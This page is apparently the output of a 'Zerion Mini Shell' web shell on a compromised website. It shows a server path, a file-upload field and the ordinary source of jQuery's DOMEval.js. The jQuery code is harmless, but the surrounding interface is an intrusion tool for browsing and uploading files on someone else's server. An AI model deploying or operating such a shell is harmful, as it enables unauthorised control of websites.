ok

Mini Shell

Direktori : /home/pequenacapitolio/www/administrador/bower_components/jquery/src/core/
Upload File :
Current File : /home/pequenacapitolio/www/administrador/bower_components/jquery/src/core/DOMEval.js

define( [
	"../var/document"
], function( document ) {
	"use strict";

	var preservedScriptAttributes = {
		type: true,
		src: true,
		noModule: true
	};

	function DOMEval( code, doc, node ) {
		doc = doc || document;

		var i,
			script = doc.createElement( "script" );

		script.text = code;
		if ( node ) {
			for ( i in preservedScriptAttributes ) {
				if ( node[ i ] ) {
					script[ i ] = node[ i ];
				}
			}
		}
		doc.head.appendChild( script ).parentNode.removeChild( script );
	}

	return DOMEval;
} );

Zerion Mini Shell 1.0